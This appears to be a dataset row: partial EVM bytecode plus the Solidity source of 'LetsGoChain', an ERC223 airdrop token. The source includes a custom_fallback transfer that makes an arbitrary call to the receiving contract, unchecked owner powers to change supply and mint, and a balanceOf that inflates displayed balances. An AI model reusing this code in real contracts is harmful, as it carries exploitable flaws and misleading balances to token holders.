0754600160a060020a031681565b600082600160a060020a0381161515610ace57600080fd5b600160a060020a038116301415610ae457600080fd5b600354600160a060020a0382811691161415610aff57600080fd5b60085474010000000000000000000000000000000000000000900460ff168015610b495750600354600160a060020a031633141580610b495750600854600160a060020a03163314155b15610bf757336000908152600960209081526040808320549183905290912054610b789163ffffffff610eb416565b33600090815260096020526040902054610bab90600290610b9f908763ffffffff610eb416565b9063ffffffff610fc216565b1115610bb657600080fd5b33600090815260096020526040902054610bd6908463ffffffff610eb416565b33600090815260096020526040902055610bf08484610feb565b9150610962565b610bf08484610feb565b600354600160a060020a03163314610c1857600080fd5b610c24600483836110cc565b505050565b6004805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610caf5780601f10610c8457610100808354040283529160200191610caf565b820191906000526020600020905b815481529060010190602001808311610c9257829003601f168201915b505050505081565b600354600160a060020a03163314610cce57600080fd5b6008805474ff000000000000000000000000000000000000000019169055565b60055481565b60096020526000908152604090205481565b60065481565b336000908152600260209081526040808320600160a060020a0386168452909152812054610d40908363ffffffff610eb416565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a03163314610de757600080fd5b600160a060020a0381161515610dfc57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6b014adf4b7320334b9000000081565b600354600160a060020a03163314610e8c57600080fd5b60085461086490600160a060020a031682610ec1565b600082821115610eae57fe5b50900390565b8181018281101561060257fe5b600160a060020a038216600090815260208190526040902054811115610ee657600080fd5b600160a060020a038216600090815260208190526040902054610f0f908263ffffffff610ea216565b600160a060020a038316600090815260208190526040902055600154610f3b908263ffffffff610ea216565b600155604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6000821515610fd357506000610602565b50818102818382811515610fe357fe5b041461060257fe5b6000600160a060020a038316151561100257600080fd5b3360009081526020819052604090205482111561101e57600080fd5b3360009081526020819052604090205461103e908363ffffffff610ea216565b3360009081526020819052604080822092909255600160a060020a03851681522054611070908363ffffffff610eb416565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061110d5782800160ff1982351617855561113a565b8280016001018555821561113a579182015b8281111561113a57823582559160200191906001019061111f565b5061114692915061114a565b5090565b61060c91905b8082111561114657600081556001016111505600a165627a7a72305820851cb55eedce276efe3df01b560ebaae0a112a0df78417155e790082a8a2f4480029
|
{"success": true, "error": null, "results": {}}
| 4,440 |
0xbf5fee5e9b71e366646f0102884c633c71e69461
|
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ContractReceiver {
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool);
}
contract ERC223Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transfer(address to, uint256 value, bytes data) public returns (bool);
function transfer(address to, uint256 value, bytes data, string custom_fallback) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC223 is ERC223Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Token {
function distr(address _to, uint256 _value) public returns (bool);
function totalSupply() constant public returns (uint256 supply);
function balanceOf(address _owner) constant public returns (uint256 balance);
}
contract LetsGoChain is ERC223 {
using SafeMath for uint256;
address public owner;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
string public name;
string public symbol;
uint256 public decimals;
uint256 public totalSupply;
uint256 public totalDistributed;
uint256 public totalRemaining;
uint256 public value;
uint256 public dividend;
uint256 public divisor;
uint256 public invitedReward = 1;
uint256 public inviteReward = 2;
uint256 public inviteAmountLimit = 0;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event LOG_Transfer(address indexed from, address indexed to, uint256 value, bytes indexed data);
event Distr(address indexed to, uint256 amount);
event InviteInit(address indexed to, uint256 amount);
event DistrFinished();
event DistrStarted();
event Burn(address indexed burner, uint256 value);
event Mint(address indexed minter, uint256 value);
bool public distributionFinished = true;
bool public inviteFinished = true;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier canNotDistr() {
require(distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyWhitelist() {
require(blacklist[msg.sender] == false);
_;
}
function LetsGoChain (string _tokenName, string _tokenSymbol, uint256 _decimalUnits, uint256 _initialAmount, uint256 _totalDistributed, uint256 _value, uint256 _dividend, uint256 _divisor) public {
require(_decimalUnits != 0);
require(_initialAmount != 0);
require(_totalDistributed != 0);
require(_value != 0);
require(_dividend != 0);
require(_divisor != 0);
owner = msg.sender;
name = _tokenName;
symbol = _tokenSymbol;
decimals = _decimalUnits;
totalSupply = _initialAmount;
totalDistributed = _totalDistributed;
totalRemaining = totalSupply.sub(totalDistributed);
value = _value;
dividend = _dividend;
divisor = _divisor;
balances[owner] = totalDistributed;
Transfer(address(0), owner, totalDistributed);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function enableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = false;
}
}
function disableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = true;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
DistrFinished();
return true;
}
function startDistribution() onlyOwner canNotDistr public returns (bool) {
distributionFinished = false;
DistrStarted();
return true;
}
function finishInvite() onlyOwner public returns (bool) {
require(!inviteFinished);
inviteFinished = true;
return true;
}
function startInvite() onlyOwner public returns (bool) {
require(inviteFinished);
inviteFinished = false;
return true;
}
function changeTotalDistributed(uint256 newTotalDistributed) onlyOwner public {
totalDistributed = newTotalDistributed;
}
function changeTotalRemaining(uint256 newTotalRemaining) onlyOwner public {
totalRemaining = newTotalRemaining;
}
function changeValue(uint256 newValue) onlyOwner public {
value = newValue;
}
function changeTotalSupply(uint256 newTotalSupply) onlyOwner public {
totalSupply = newTotalSupply;
}
function changeDecimals(uint256 newDecimals) onlyOwner public {
decimals = newDecimals;
}
function changeName(string newName) onlyOwner public {
name = newName;
}
function changeSymbol(string newSymbol) onlyOwner public {
symbol = newSymbol;
}
function changeDivisor(uint256 newDivisor) onlyOwner public {
divisor = newDivisor;
}
function changeDividend(uint256 newDividend) onlyOwner public {
dividend = newDividend;
}
function changeInviteReward(uint256 newInviteReward) onlyOwner public {
inviteReward = newInviteReward;
}
function changeInvitedReward(uint256 newInvitedReward) onlyOwner public {
invitedReward = newInvitedReward;
}
function changInviteAmountLimit(uint256 newInviteAmountLimit) onlyOwner public {
inviteAmountLimit = newInviteAmountLimit;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
Distr(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function airdrop(address[] addresses) onlyOwner canDistr public {
require(addresses.length <= 255);
require(value <= totalRemaining);
for (uint i = 0; i < addresses.length; i++) {
require(value <= totalRemaining);
distr(addresses[i], value);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public {
require(addresses.length <= 255);
require(amount <= totalRemaining);
for (uint i = 0; i < addresses.length; i++) {
require(amount <= totalRemaining);
distr(addresses[i], amount);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public {
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
require(amounts[i] <= totalRemaining);
distr(addresses[i], amounts[i]);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr onlyWhitelist public {
if (value > totalRemaining) {
value = totalRemaining;
}
require(value <= totalRemaining);
address investor = msg.sender;
uint256 toGive = value;
distr(investor, toGive);
if (toGive > 0) {
blacklist[investor] = true;
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
value = value.div(dividend).mul(divisor);
}
function balanceOf(address _owner) constant public returns (uint256) {
return getBalance(_owner);
}
function getBalance(address _address) constant internal returns (uint256) {
if (_address !=address(0) && !distributionFinished && !blacklist[_address] && totalDistributed < totalSupply && !inviteFinished) {
return balances[_address].add(value);
}
else {
return balances[_address];
}
}
// mitigates the ERC20 short address attack
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount, bytes _data, string _custom_fallback) onlyPayloadSize(2 * 32) public returns (bool success) {
if(isContract(_to)) {
require(balanceOf(msg.sender) >= _amount);
balances[msg.sender] = balanceOf(msg.sender).sub(_amount);
balances[_to] = balanceOf(_to).add(_amount);
ContractReceiver receiver = ContractReceiver(_to);
require(receiver.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _amount, _data));
Transfer(msg.sender, _to, _amount);
LOG_Transfer(msg.sender, _to, _amount, _data);
return true;
}
else {
return transferToAddress(_to, _amount, _data);
}
}
function transfer(address _to, uint256 _amount, bytes _data) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
if(isContract(_to)) {
return transferToContract(_to, _amount, _data);
}
else {
return transferToAddress(_to, _amount, _data);
}
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _amount, empty);
}
else {
if(_amount <= inviteAmountLimit){
require(invite(msg.sender, _to));
}
return transferToAddress(_to, _amount, empty);
}
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
require(invite(_from, _to));
bytes memory empty;
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
LOG_Transfer(_from, _to, _amount, empty);
return true;
}
function invite(address _from, address _to) internal returns (bool success) {
if(inviteFinished){
return true;
}
if(invitedInit(_from) && _from != _to){
inviteInit(_to);
return true;
}
invitedInit(_to);
return true;
}
function inviteInit(address _address) internal returns (bool success) {
if (!distributionFinished && totalDistributed < totalSupply) {
if (value.mul(inviteReward) > totalRemaining) {
value = totalRemaining;
}
require(value.mul(inviteReward) <= totalRemaining);
uint256 toGive = value.mul(inviteReward);
totalDistributed = totalDistributed.add(toGive);
totalRemaining = totalRemaining.sub(toGive);
balances[_address] = balances[_address].add(toGive);
InviteInit(_address, toGive);
Transfer(address(0), _address, toGive);
if (toGive > 0) {
blacklist[_address] = true;
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
value = value.div(dividend).mul(divisor);
return true;
}
return false;
}
function invitedInit(address _address) internal returns (bool success) {
if (!distributionFinished && totalDistributed < totalSupply && !blacklist[_address]) {
if (value.mul(invitedReward) > totalRemaining) {
value = totalRemaining;
}
require(value.mul(invitedReward) <= totalRemaining);
uint256 toGive = value.mul(invitedReward);
totalDistributed = totalDistributed.add(toGive);
totalRemaining = totalRemaining.sub(toGive);
balances[_address] = balances[_address].add(toGive);
InviteInit(_address, toGive);
Transfer(address(0), _address, toGive);
if (toGive > 0) {
blacklist[_address] = true;
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
value = value.div(dividend).mul(divisor);
return true;
}
return false;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
uint256 etherBalance = this.balance;
owner.transfer(etherBalance);
}
function mint(uint256 _value) onlyOwner public {
address minter = msg.sender;
balances[minter] = balances[minter].add(_value);
totalSupply = totalSupply.add(_value);
Mint(minter, _value);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) payable public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
require(_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
function isContract(address _addr) private constant returns (bool) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length>0);
}
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool) {
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
LOG_Transfer(msg.sender, _to, _value, _data);
return true;
}
function transferToContract(address _to, uint _value, bytes _data) private returns (bool) {
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value);
LOG_Transfer(msg.sender, _to, _value, _data);
return true;
}
}
|
0x6060604052600436106102635763ffffffff60e060020a600035041663011847a2811461026d57806306fdde0314610292578063095ea7b31461031c5780630ff8cf9b1461035257806318160ddd146103655780631f2dc5ef1461037857806323b872dd1461038b57806327e235e3146103b35780632bba2d6d146103d2578063313ce567146103e8578063362c78b9146103fb5780633ccfd60b1461040e5780633fa4f2451461042157806342966c68146104345780634acea2541461044a578063502dadb01461045d578063513de1d3146104ac57806352e97326146104c25780635353a2d8146104d857806370a0823114610529578063729ad39e146105485780637b10a1d9146105975780638da5cb5b146105ad5780639254c2a8146105dc5780639373ad6c146105f257806395d89b4114610605578063963a9a13146106185780639b1cbccc1461062b5780639c09c8351461063e578063a0712d681461068d578063a3895fff146106a3578063a78c81ea146106f4578063a8c310d51461070a578063a9059cbb14610799578063aa6ca80814610263578063afa5f45c146107bb578063b74f312e146107d1578063be45fd62146107e7578063c108d5421461084c578063c489744b1461085f578063cae9ca5114610884578063d83623dd146108de578063d8a54360146108f1578063dd62ed3e14610904578063e58fc54c14610929578063efca2eed14610948578063f2fde38b1461095b578063f3e4877c1461097a578063f4591074146109cb578063f6368f8a146109de578063f965e32e14610a85578063f9f92be414610a9b578063fc73ec0014610aba575b61026b610ad0565b005b341561027857600080fd5b610280610bb7565b60405190815260200160405180910390f35b341561029d57600080fd5b6102a5610bbd565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156102e15780820151838201526020016102c9565b50505050905090810190601f16801561030e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561032757600080fd5b61033e600160a060020a0360043516602435610c5b565b604051901515815260200160405180910390f35b341561035d57600080fd5b610280610cc8565b341561037057600080fd5b610280610cce565b341561038357600080fd5b610280610cd4565b341561039657600080fd5b61033e600160a060020a0360043581169060243516604435610cda565b34156103be57600080fd5b610280600160a060020a0360043516610f07565b34156103dd57600080fd5b61026b600435610f19565b34156103f357600080fd5b610280610f39565b341561040657600080fd5b610280610f3f565b341561041957600080fd5b61026b610f45565b341561042c57600080fd5b610280610f9f565b341561043f57600080fd5b61026b600435610fa5565b341561045557600080fd5b61028061107d565b341561046857600080fd5b61026b600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965061108395505050505050565b34156104b757600080fd5b61026b6004356110fe565b34156104cd57600080fd5b61026b60043561111e565b34156104e357600080fd5b61026b60046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061113e95505050505050565b341561053457600080fd5b610280600160a060020a036004351661116c565b341561055357600080fd5b61026b600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965061117f95505050505050565b34156105a257600080fd5b61026b600435611231565b34156105b857600080fd5b6105c0611251565b604051600160a060020a03909116815260200160405180910390f35b34156105e757600080fd5b61026b600435611260565b34156105fd57600080fd5b61033e611280565b341561061057600080fd5b6102a561128e565b341561062357600080fd5b61033e6112f9565b341561063657600080fd5b61033e61133f565b341561064957600080fd5b61026b60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496506113ac95505050505050565b341561069857600080fd5b61026b600435611423565b34156106ae57600080fd5b61026b60046024813581810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506114d695505050505050565b34156106ff57600080fd5b61026b600435611504565b341561071557600080fd5b61026b60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061152495505050505050565b34156107a457600080fd5b61033e600160a060020a0360043516602435611607565b34156107c657600080fd5b61026b600435611684565b34156107dc57600080fd5b61026b6004356116a4565b34156107f257600080fd5b61033e60048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506116c495505050505050565b341561085757600080fd5b61033e61171b565b341561086a57600080fd5b610280600160a060020a0360043581169060243516611724565b61033e60048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506117a195505050505050565b34156108e957600080fd5b61033e611941565b34156108fc57600080fd5b6102806119ac565b341561090f57600080fd5b610280600160a060020a03600435811690602435166119b2565b341561093457600080fd5b61033e600160a060020a03600435166119dd565b341561095357600080fd5b610280611afb565b341561096657600080fd5b61026b600160a060020a0360043516611b01565b341561098557600080fd5b61026b60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505093359350611b5892505050565b34156109d657600080fd5b61033e611c05565b34156109e957600080fd5b61033e60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528181529291906020840183838082843750949650611c4d95505050505050565b3415610a9057600080fd5b61026b600435611ee8565b3415610aa657600080fd5b61033e600160a060020a0360043516611f08565b3415610ac557600080fd5b61026b600435611f1d565b601154600090819060ff1615610ae557600080fd5b600160a060020a03331660009081526004602052604090205460ff1615610b0b57600080fd5b600a54600b541115610b1e57600a54600b555b600a54600b541115610b2f57600080fd5b5050600b543390610b408282611f3d565b506000811115610b6e57600160a060020a0382166000908152600460205260409020805460ff191660011790555b60085460095410610b87576011805460ff191660011790555b610bb0600d54610ba4600c54600b5461202c90919063ffffffff16565b9063ffffffff61204316565b600b555050565b600f5481565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c535780601f10610c2857610100808354040283529160200191610c53565b820191906000526020600020905b815481529060010190602001808311610c3657829003601f168201915b505050505081565b600160a060020a03338116600081815260036020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b600c5481565b60085481565b600d5481565b6000610ce46127ef565b60606064361015610cf157fe5b600160a060020a0385161515610d0657600080fd5b600160a060020a038616600090815260026020526040902054841115610d2b57600080fd5b600160a060020a0380871660009081526003602090815260408083203390941683529290522054841115610d5e57600080fd5b610d68868661206e565b1515610d7357600080fd5b600160a060020a038616600090815260026020526040902054610d9c908563ffffffff6120d116565b600160a060020a0380881660009081526002602090815260408083209490945560038152838220339093168252919091522054610ddf908563ffffffff6120d116565b600160a060020a0380881660009081526003602090815260408083203385168452825280832094909455918816815260029091522054610e25908563ffffffff6120e316565b600160a060020a03808716600081815260026020526040908190209390935591908816906000805160206128ba8339815191529087905190815260200160405180910390a3816040518082805190602001908083835b60208310610e9a5780518252601f199092019160209182019101610e7b565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031687600160a060020a031660008051602061289a8339815191528760405190815260200160405180910390a450600195945050505050565b60026020526000908152604090205481565b60015433600160a060020a03908116911614610f3457600080fd5b600e55565b60075481565b600e5481565b60015460009033600160a060020a03908116911614610f6357600080fd5b50600154600160a060020a0330811631911681156108fc0282604051600060405180830381858888f193505050501515610f9c57600080fd5b50565b600b5481565b60015460009033600160a060020a03908116911614610fc357600080fd5b600160a060020a033316600090815260026020526040902054821115610fe857600080fd5b5033600160a060020a03811660009081526002602052604090205461100d90836120d1565b600160a060020a038216600090815260026020526040902055600854611039908363ffffffff6120d116565b600855600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b60105481565b60015460009033600160a060020a039081169116146110a157600080fd5b5060005b81518110156110fa576001600460008484815181106110c057fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff19169115159190911790556001016110a5565b5050565b60015433600160a060020a0390811691161461111957600080fd5b600d55565b60015433600160a060020a0390811691161461113957600080fd5b600855565b60015433600160a060020a0390811691161461115957600080fd5b60058180516110fa929160200190612801565b6000611177826120f2565b90505b919050565b60015460009033600160a060020a0390811691161461119d57600080fd5b60115460ff16156111ad57600080fd5b60ff825111156111bc57600080fd5b600a54600b5411156111cd57600080fd5b5060005b815181101561121557600a54600b5411156111eb57600080fd5b61120c8282815181106111fa57fe5b90602001906020020151600b54611f3d565b506001016111d1565b600854600954106110fa576011805460ff191660011790555050565b60015433600160a060020a0390811691161461124c57600080fd5b600f55565b600154600160a060020a031681565b60015433600160a060020a0390811691161461127b57600080fd5b600a55565b601154610100900460ff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c535780601f10610c2857610100808354040283529160200191610c53565b60015460009033600160a060020a0390811691161461131757600080fd5b601154610100900460ff16151561132d57600080fd5b506011805461ff001916905560015b90565b60015460009033600160a060020a0390811691161461135d57600080fd5b60115460ff161561136d57600080fd5b6011805460ff191660011790557f7f95d919e78bdebe8a285e6e33357c2fcb65ccf66e72d7573f9f8f6caad0c4cc60405160405180910390a150600190565b60015460009033600160a060020a039081169116146113ca57600080fd5b5060005b81518110156110fa576000600460008484815181106113e957fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff19169115159190911790556001016113ce565b60015460009033600160a060020a0390811691161461144157600080fd5b5033600160a060020a03811660009081526002602052604090205461146690836120e3565b600160a060020a038216600090815260026020526040902055600854611492908363ffffffff6120e316565b600855600160a060020a0381167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968858360405190815260200160405180910390a25050565b60015433600160a060020a039081169116146114f157600080fd5b60068180516110fa929160200190612801565b60015433600160a060020a0390811691161461151f57600080fd5b601055565b60015460009033600160a060020a0390811691161461154257600080fd5b60115460ff161561155257600080fd5b60ff8351111561156157600080fd5b815183511461156f57600080fd5b5060005b82518160ff16101561160257600a54828260ff168151811061159157fe5b9060200190602002015111156115a657600080fd5b6115e0838260ff16815181106115b857fe5b90602001906020020151838360ff16815181106115d157fe5b90602001906020020151611f3d565b50600854600954106115fa576011805460ff191660011790555b600101611573565b505050565b60006116116127ef565b6040604436101561161e57fe5b600160a060020a038516151561163357600080fd5b61163c856121ad565b156116535761164c8585846121bc565b925061167c565b601054841161167157611666338661206e565b151561167157600080fd5b61164c85858461241c565b505092915050565b60015433600160a060020a0390811691161461169f57600080fd5b600755565b60015433600160a060020a039081169116146116bf57600080fd5b600955565b6000604060443610156116d357fe5b600160a060020a03851615156116e857600080fd5b6116f1856121ad565b15611708576117018585856121bc565b9150611713565b61170185858561241c565b509392505050565b60115460ff1681565b60008281600160a060020a0382166370a0823185836040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561177e57600080fd5b6102c65a03f1151561178f57600080fd5b50505060405180519695505050505050565b600160a060020a03338116600081815260036020908152604080832094881680845294909152808220869055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259086905190815260200160405180910390a383600160a060020a03166040517f72656365697665417070726f76616c28616464726573732c75696e743235362c81527f616464726573732c6279746573290000000000000000000000000000000000006020820152602e01604051809103902060e060020a9004338530866040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a03168152602001828051906020019080838360005b838110156118e25780820151838201526020016118ca565b50505050905090810190601f16801561190f5780820380516001836020036101000a031916815260200191505b5094505050505060006040518083038160008761646e5a03f192505050151561193757600080fd5b5060019392505050565b60015460009033600160a060020a0390811691161461195f57600080fd5b60115460ff16151561197057600080fd5b6011805460ff191690557f159b30ae850d9e3bc5d4db2ee06d52111229dd7cf4b4def72f83d2724d7e4fc660405160405180910390a150600190565b600a5481565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b6001546000908190819033600160a060020a039081169116146119ff57600080fd5b83915081600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515611a5957600080fd5b6102c65a03f11515611a6a57600080fd5b5050506040518051600154909250600160a060020a03808516925063a9059cbb91168360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515611ad957600080fd5b6102c65a03f11515611aea57600080fd5b505050604051805195945050505050565b60095481565b60015433600160a060020a03908116911614611b1c57600080fd5b600160a060020a03811615610f9c5760018054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff1990911617905550565b60015460009033600160a060020a03908116911614611b7657600080fd5b60115460ff1615611b8657600080fd5b60ff83511115611b9557600080fd5b600a54821115611ba457600080fd5b5060005b8251811015611be857600a54821115611bc057600080fd5b611bdf838281518110611bcf57fe5b9060200190602002015183611f3d565b50600101611ba8565b60085460095410611602576011805460ff19166001179055505050565b60015460009033600160a060020a03908116911614611c2357600080fd5b601154610100900460ff1615611c3857600080fd5b506011805461ff001916610100179055600190565b60008060406044361015611c5d57fe5b611c66876121ad565b15611ed05785611c753361116c565b1015611c8057600080fd5b611c9986611c8d3361116c565b9063ffffffff6120d116565b600160a060020a033316600090815260026020526040902055611ccb86611cbf8961116c565b9063ffffffff6120e316565b600160a060020a0388166000818152600260205260408082209390935589945090918690518082805190602001908083835b60208310611d1c5780518252601f199092019160209182019101611cfd565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903389896040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611dad578082015183820152602001611d95565b50505050905090810190601f168015611dda5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f193505050501515611e0157600080fd5b86600160a060020a031633600160a060020a03166000805160206128ba8339815191528860405190815260200160405180910390a3846040518082805190602001908083835b60208310611e665780518252601f199092019160209182019101611e47565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902087600160a060020a031633600160a060020a031660008051602061289a8339815191528960405190815260200160405180910390a460019250611ede565b611edb87878761241c565b92505b5050949350505050565b60015433600160a060020a03908116911614611f0357600080fd5b600b55565b60046020526000908152604090205460ff1681565b60015433600160a060020a03908116911614611f3857600080fd5b600c55565b60115460009060ff1615611f5057600080fd5b600954611f63908363ffffffff6120e316565b600955600a54611f79908363ffffffff6120d116565b600a55600160a060020a038316600090815260026020526040902054611fa5908363ffffffff6120e316565b600160a060020a0384166000818152600260205260409081902092909255907f8940c4b8e215f8822c5c8f0056c12652c746cbc57eedbd2a440b175971d47a779084905190815260200160405180910390a2600160a060020a03831660006000805160206128ba8339815191528460405190815260200160405180910390a3506001610cc2565b600080828481151561203a57fe5b04949350505050565b600082820283158061205f575082848281151561205c57fe5b04145b151561206757fe5b9392505050565b601154600090610100900460ff161561208957506001610cc2565b61209283612581565b80156120b0575081600160a060020a031683600160a060020a031614155b156120c8576120be82612772565b5060019050610cc2565b61193782612581565b6000828211156120dd57fe5b50900390565b60008282018381101561206757fe5b6000600160a060020a0382161580159061210f575060115460ff16155b80156121345750600160a060020a03821660009081526004602052604090205460ff16155b80156121435750600854600954105b80156121575750601154610100900460ff16155b1561218e57600b54600160a060020a0383166000908152600260205260409020546121879163